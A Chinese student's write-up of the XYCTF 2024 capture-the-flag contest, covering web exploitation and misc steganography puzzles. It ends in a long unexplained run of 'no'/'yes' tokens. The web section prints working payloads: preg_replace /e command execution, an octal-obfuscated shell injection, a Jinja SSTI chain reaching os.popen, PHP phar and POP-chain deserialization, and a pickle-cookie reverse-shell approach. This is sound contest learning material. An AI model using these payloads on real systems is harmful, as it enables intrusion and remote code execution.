2024XYCTFの部分wp详解
在大二下打的第一场(其实并不是第一场,只是之前都没成绩\爆零)CTF,属于新生赛级别(没办法大的也打不动,而且我大二上才加入校队勉强也算新人……吧),但是题目量大管饱(100多道),也确实学到了新东西,比起常年坐牢爆零的大比赛来说对个人的能力培养反而更多。
XYCTF中我主要是在隶属于校队的Xp0int战队中解题,虽说是校队公共账号但是老人都不会出手,基本都是几个新生在折腾。也一度取得了第一名的位置霸榜了几天,但最后一周因为各种安排导致腾不出手打比赛解新题又滑落到了第五的位置,实属惋惜。
不过反正是新生赛,也不会有多大含金量就是了,姑且还是记录一下这次比赛的成果吧。
Web
5.1 ez!Make
5.2 ezmd5
利用fastcoll生成两个md5值相同的图片即可
5.3 EZHTTP
robots.txt可以看到有个l0g1n.txt,里面存着账号和密码
username: XYCTF
password: @JOILha!wuigqi123$
登进去之后说要从yuanshen.com来,伪造IP
用client-ip可以伪造
现在需要伪造代理
我忘了咋伪造了……
噢用via可以
没了
POST /index.php HTTP/1.1 |
5.4 Warm up
Payload:http://xyctf.top:40339/?val1=QNKCDZO&val2=240610708&md5=0e215962017&XY=QNKCDZO&XYCTF=QNKCDZO
之后跳转到/LLeeevvveeelll222.php
好像可以xss,但我不会弹flag啊o(╥﹏╥)o
好吧,这题不是xss,使用preg_match的/e命令执行
Payload:http://xyctf.top:40339/LLeeevvveeelll222.php?a=/123/e&b=system('cat /flag');&c=123 |
5.5 牢牢记住,逝者为大
payload:?cmd=%0A$_GET[1]
;%23&1=sh -c $‘\143\141\164\40\57\146\154\141\147\40\76\40\61\56\160\150\160’
%0A换行,%23注释掉后面的mamba out,``执行命令但不回显,$_GET[1]用于绕过长度限制,1参数后的命令执行通过八进制绕过/bin|mv|cp|ls|||f|a|l|?|*|>/i的过滤,接着直接访问1.php得到flag
5.6 ezMake
5.7 ez?Make
5.8 ezPoP
<?php |
5.9 我是一个复读机
开局弱口令爆破,密码是asdqwe
然后可以看到第二级页面
尝试输入49发现大括号被过滤了
其实不是大括号被过滤,输入框默认已经被大括号扩住了,确定是SSTI注入
用fenjing一把梭
payload如下
说%print (g.pop|attr(lipsum|escape|batch(22)|list|first|last*2+dict(GLOBALS=x)|first|lower+lipsum|escape|batch(22)|list|first|last*2)|attr(lipsum|escape|batch(22)|list|first|last*2+dict(GETITEM=x)|first|lower+lipsum|escape|batch(22)|list|first|last*2)(lipsum|escape|batch(22)|list|first|last*2+dict(BUILTINS=x)|first|lower+lipsum|escape|batch(22)|list|first|last*2)|attr(lipsum|escape|batch(22)|list|first|last*2+dict(GETITEM=x)|first|lower+lipsum|escape|batch(22)|list|first|last*2)(lipsum|escape|batch(22)|list|first|last*2+dict(IMPORT=x)|first|lower+lipsum|escape|batch(22)|list|first|last*2))(dict(OS=x)|first|lower).popen((((dict(((0,1),(0,1)))|replace(1|center|first,x)|replace(1,dict(c=x)|join)).format(37)+dict(c=x)|join)*9)%(99,97,116,32,47,102,108,97,103)).read()% |
5.10 ezRCE
https://medium.com/@orik_/34c3-ctf-minbashmaxfun-writeup-4470b596df60
5.11 ezSerialize
/?pop=O:4:“Flag”:2:{s:5:“token”;s:3:“111”;s:8:“password”;R:2;}
跳转/fpclosefpclosefpcloseffflllaaaggg.php
<?php |
不知道为什么本地ide可以实现反序列化但是在部署在网站后__unserialize魔术方法就无法被触发,网上也查不到,晕……
老缠,我直接把name也改了,在wakeup里触发tostring吧
跳转到/saber_master_saber_master.php
月批的丑态……
<?php |
payload如下:?CTF=O:8:“XYCTFNO3”:3:{s:7:“KickyMu”;O:8:“XYCTFNO2”:2:{s:7:“crypto0”;O:8:“XYCTFNO1”:4:{s:3:“Liu”;s:5:“dev1l”;s:4:“T1ng”;s:13:“yuroandCMD258”;s:17:" XYCTFNO1 upsw1ng";s:7:“unknown”;s:7:“crypto0”;s:5:“dev1l”;}s:4:“adwa”;r:3;}s:7:“fpclose”;s:7:“useless”;s:5:“N1ght”;s:7:“oSthing”;}
X=SplFileObject&Y=php://filter/read=convert.base64-encode/resource=/flag.sh
|
这玩意好像是生成flag的脚本……
其实应该爬flag.php的
5.12 pharme
老缠题目
查看源码可以发现class.php
<?php |
思路就是上传一个phar文件,然后存在敏感函数file_get_contents,对其用phar伪协议解压时可以触发反序列化。
生成phar文件的脚本:
<?php |
但是题目有几层waf
- 题目过滤了.gz,.phar之类的后缀
- 题目过滤了文件中的__HALT_COMPILER();,这是phar文件的识别标志
- POST传入file时过滤了开头为phar的字符串
- evil类过滤了cmd参数,要求传入无参数命令执行,且被拼接了脏数据
依次可以采取以下步骤绕过:
- 更改后缀为.gif,因为phar文件识别只看文件中的__HALT_COMPILER();标志而不看后缀,改后缀即可上传
- 在linux中用gzip指令处理phar文件即可,phar伪协议也可以解压.gz文件
- 用其他伪协议绕过,比如compress.zlib://phar://也可以实现phar解压
- 构造payload
highlight_file(array_rand(array_flip(scandir(getcwd()))));__HALT_COMPILER();
。前者可以随机读取当前目录的文件,再用__HALT_COMPILER();阻止eval读入拼接的脏数据。
然后一直刷新就有概率爆flag。
这题傻逼的地方在于目录底下有20多个无关文件,搞起我一直刷新刷不出flag以为是方法错了破防了。其实多刷新几次就可以爆flag。
5.13 连连看
https://github.com/synacktiv/php_filter_chain_generator
用里面的脚本 尾部加一个<
然后再filter链的最后加多个 |string.strip_tags
5.14 login
打开看见一个login界面,猜测有register界面,发现真有,注册一下,登录进去,发现有一个重定向,点击后跳转到一个hello world的主界面,抓包看一下,发现cookie是base64编码,解码发现是pickle序列化的形式,应该就是pickle反序列化,经过测试一下,发现过滤了字符r,也就是不能用R指令,那我们用其他指令即可
import base64 |
把网页主页的cookie改为这个脚本生成的payload,再拿服务器反弹shell即可
5.15 ezClass
5.16 εZ?¿м@Kε¿?
在makefile中,$<可以代表一个目标规则中第一个依赖文件的名称,在这里即代表了/flag文件,用<可以将文件内容重定向到标准输出,而用$()可以替换括号里面的变量值,这里的$(<$<),就是将/flag文件里面内容重定向到标准输出并且用$()将其替换出来
Misc
1.1 game
谷歌识图就出了
1.2 熊博士
熊博士即熊斐特的埃特巴什码
1.3 彩蛋
在比赛须知页面130131103124106173164150151163137141137
三个一组八进制转
在footer11001101101001110111011001001011111110100111101001111101
6个一组二进制转
保存全站唯一一张图片,poster,到网站里改个格式,改为png,放到zsteg里面解析(LSB也可以),发现keyboard:
xn0jtxgoy.p{urp{lbi{abe{c{ydcbt{frb{jab{
丢随波逐流里面解一下
bl0ckbuster_for_png_and_i_think_yon_can
XYCTF{this_a_bl0ckbuster_for_png_and_i_think_yon_can_find_it}
真能藏
1.4 zzl的护理小课堂
直接在控制台里把发送flag的函数扔进去就行
1.5 ez_隐写
伪加密的zip,但是修改标志区后用winrar也打不开,用7z打开了
hint图片打不开,另一个压缩包是真加密
怀疑图片宽高有问题,爆破一下crc,得到真正的宽高是5120x2880,修改后打开得到
估计是压缩包密码,20240401,得到另一张图,binwalk没有东西。推测是水印。
用blindwatermark解码,这图片也太糊了看不清flag
换了个工具watermark,吾爱可以下载
1.6 zip神之套
第一层
第二层压缩密码需要爆破,掩码应该长这样,apchr爆破得到xyctf20240401ftcyx
第二层
套.zip
flag.zip
除了一个md文件,其他一毛一样,所以用,明文碰撞解密
1.7 TCPL
十六进制下看到这个是个RISCV64架构的elf文件
在搭环境
打异构pwn打的
1.8 九转大肠
第一层压缩包密码是XYCTF20240401
第一层:曰:玉魔命灵天观罗炁观神冥西道地真象茫华茫空吉清荡罗命色玉凶北莽人鬼乐量西北灵色净魂地魂莽玉凶阿人梵莽西量魄周界
天书加密,图片改高
第二层
得到:
LSB隐写得到 0f_crypt0_and_
第三层
1是点2是线3是空格
要小写。解zip得到flag.txt和一个zip,flag.txt找不到有价值的信息
暂时无法在飞书文档外展示此内容
zip用7z打开提取显示数据错误,但是十六进制下看到可以的字符串
5a+G56CB57uZ5L2g5Y+I5oCO5qC377yaMTIzNDU2
解码结果如下
得到MZWGCZZT566JU3LJONRV6MLTL5ZGKNTMNR4V6ZTVNYQSC===
misc_1s_re6lly_fun!!
第四层
U2FsdGVkX1+y2rlJZlJCMnvyDwHwzkgHvNsG2TF6sFlBlxBs0w4EmyXdDe6s7viL
长得像aes
3des
The_fourth_floor_is_okay
压缩包里一个txt一个db文件,txt解码得
key:1a813cbb17c040358d772e37fa137edbeddedb38bf704a56b2a9e22dc7f05f77
但是MSG0.db没法用navicat打开,db browser也打不开,显示不是一个数据库,但是应该就是微信聊天记录数据库文件,大小60M刚好(好强的既视感)。十六进制打开发现文件头根本不是db文件的文件头,这点比较蹊跷
微信聊天数据库解密用的wxdump,
用navicat打开就行
L1u_and_K1cky_Mu
第五层
enc = ‘key{liu*****’
md5 = ‘87145027d8664fca1413e6a24ae2fbe7’
应该是要md5爆破
爆破出来key{liuyyds}
得到serpent.txt和flag.txt,flag里依然显示啥都没有,
这里什么都没有呦! |
ô;ëST†C`è(|B‚R�½5ƒXD–bNœ§½>LZÒæuƒýïÔ+¼Í‚+Љ-pÇX+¾§fÜ-^ÌbY. ™"ªEÉ©´QeÚ–)5Ëðo{¤õ%‡AîüK†Ácß3‹ï48/¶?¨¤{?zÄð0Y�Î |
密钥是liuyyds,对文件解serpent,然后vim看到零宽的unicode字符,零宽隐写
_3re_so_sm4rt!
第六层
hint是键盘画图,用手机输入法应该可以操作,但是有些字符好怪(
keeponfighting可以解得一个文件夹
steghide,密码98641
In_just_a_few_m1nutes_
第七层
提示维吉尼亚,发现
然而密码并不是这个
+AF8-在utf-7中是下划线,所以把空格换成下划线就行了。
The_seventh_level_is_difficult
八进制
they_were_thr0ugh!
第八层
题目是一道rsa,给了n, e, c和p^q
考虑到p, q都是1024位,且已知异或结果,那么就可以进行爆破(p^q对应位是1,那可能p=0,q=1或p=1,q=0,对应位0,那可能p=0,q=0或p=1,q=1)
那么就用剪枝算法爆破。
import sys |
得到结果是 password{pruning_algorithm}
nononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesnononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesnononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesnonononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesnonononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesnonononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnonononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesnonononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnonononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnonononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesnonononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesnononononoyesyesyesyesyesyesyesyesnononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesnonononoyesyesyesyesyesyesyesyesnononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononononoyesyesnononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesnononononononononoyesyesyesyesyesyesnonononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesnonononononononoyesyesyesyesyesyesyesnononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnonononononononoyesyesyesyesyesyesyesnononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononoyesyesnononononononononononononoyesyesyesyesyesyesnononononononononononoyesyesyesyesyesyesnononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononoyesnononononononononononononononononononononononononoyesyesyesyesyesyesnonononononononononoyesyesyesyesyesyesnonononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesnoyesyesyesyesyesyesyesnonononononononoyesyesyesyesyesyesyesyesnonononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononononononononononononononononoyesyesyesyesnonononononononononononononononononononononoyesyesyesyesnonononononononononononoyesyesyesyesyesnonononononononononononoyesyesyesyesyesyesnonononononononononoyesyesyesyesyesyesnonononononononoyesyesyesyesyesyesyesyesyesyesyesnonononononononononononononononononoyesnonoyesnoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononononononononononononononononoyesyesyesnonononononononononononononononononononononononoyesyesyesyesyesnonononononononononononoyesyesyesyesyesnononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononoyesnoyesnonononononononononononononononononononononononononononononononoyesyesyesyesnononononononononononononoyesyesyesyesyesyesyesnononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononononoyesyesyesyesnonononononononononononoyesyesyesyesyesyesyesyesnonononoyesyesyesyesyesyesnononononononononoyesyesyesyesyesyesyesyesnononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononononononononoyesyesyesyesyesnononononononononononononononononononononoyesyesyesyesyesyesnononononononononononoyesyesyesyesyesnononononononononononononoyesyesyesyesyesnononononononoyesyesyesyesyesyesyesyesyesyesyesyesnononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesnonononoyesyesyesyesnonononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononononononononononononononoyesyesyesyesyesnonononononononononononononononononononononoyesyesyesyesyesyesnonononononononononononoyesyesyesyesyesyesnonononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononoyesyesyesyesnonononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesnonononononononononoyesyesyesyesyesyesnononononononononononoyesyesyesyesyesyesyesyesnononononononononoyesyesyesyesyesyesyesyesyesnononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononononoyesyesyesyesyesyesyesyesnononononononononoyesyesyesyesyesyesyesnonononononoyesyesyesyesyesyesnonononononononononoyesyesyesyesyesyesyesyesnonononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononononononoyesyesyesyesyesyesnonononononononononononononononononononononoyesyesyesyesyesyesnononononononononononoyesyesyesyesnononononononononononononoyesyesyesyesyesnononononononoyesyesyesyesyesyesyesyesyesyesyesnonononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesnonononoyesyesyesyesnonononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononononononononononononononoyesyesyesyesyesnonononononononononononononononononononononoyesyesyesyesyesnonononononononononononononoyesyesyesyesyesnonononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnonononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnonononononononononononononononononononononoyesyesyesyesyesyesyesyesnonononononononononoyesyesyesyesyesyesyesnononononononononoyesyesyesyesyesyesyesyesyesnonononononononoyesyesyesyesyesyesyesyesyesyesnononononononononononononoyesnononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononononoyesyesyesyesyesyesyesyesnononononononononoyesyesyesyesyesyesnonononononoyesyesyesyesyesyesyesnononononononononononoyesyesyesyesyesyesyesyesnononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnonononononononononoyesyesyesyesyesyesyesnonononononononononononononononononononononoyesyesyesyesyesyesyesnonononononononononononononononononononononononononoyesyesyesyesyesyesnonononononononoyesyesyesyesyesyesyesyesyesyesnononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononoyesyesyesyesyesnonononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononononononononononononononoyesyesyesyesyesnonononononononononononononononononononononoyesyesyesyesyesnonononononononononononononoyesyesyesyesyesnononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnonononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnonononononononononononononononononononoyesyesyesyesyesyesyesyesnonononononononononoyesyesyesyesyesyesyesnonononononononononoyesyesyesyesyesyesyesyesnononononononoyesyesyesyesyesyesyesyesyesyesnonononononononononononoyesyesyesnononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnonononononoyesyesyesyesyesyesyesyesnonononononononoyesyesyesyesyesyesnononononoyesyesyesyesyesyesyesyesyesnonononononononononononoyesyesyesyesyesyesyesnononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononononononoyesyesyesyesyesyesnonononononononononononononononononononononononoyesyesyesyesyesyesnonononononononononononononononononononononononononoyesyesyesyesyesnononononononononoyesyesyesyesyesyesyesyesyesnonononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononoyesyesyesyesyesnonononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononononononononononononononoyesyesyesyesyesnonononononononononononononononononononononoyesyesyesyesyesnonononononononononononononoyesyesyesyesyesnononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnonononononononononononononononononononoyesyesyesyesyesyesnononononononononononoyesyesyesyesyesyesnononononononononononononoyesyesnonononononononononoyesyesyesyesyesyesyesyesyesyesnononononononononononoyesyesyesyesyesnononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononoyesyesyesyesyesyesyesyesyesnononononononoyesyesyesyesyesyesnonononoyesyesyesyesyesyesyesyesyesnonononononononononononononoyesyesyesyesyesyesyesnonononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesnononononoyesyesnononononononononononononononononononononononononoyesyesyesyesyesyesnonononononononononononononononononononononononononoyesyesyesyesyesyesnonononononononononononononononononononononononoyesyesyesyesyesyesnonononononononononoyesyesyesyesyesyesyesyesnonononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononoyesyesyesyesyesnonononononononononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesnonononononononononononononononononononoyesyesyesyesyesnonononononononononononononoyesyesyesyesyesnononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyes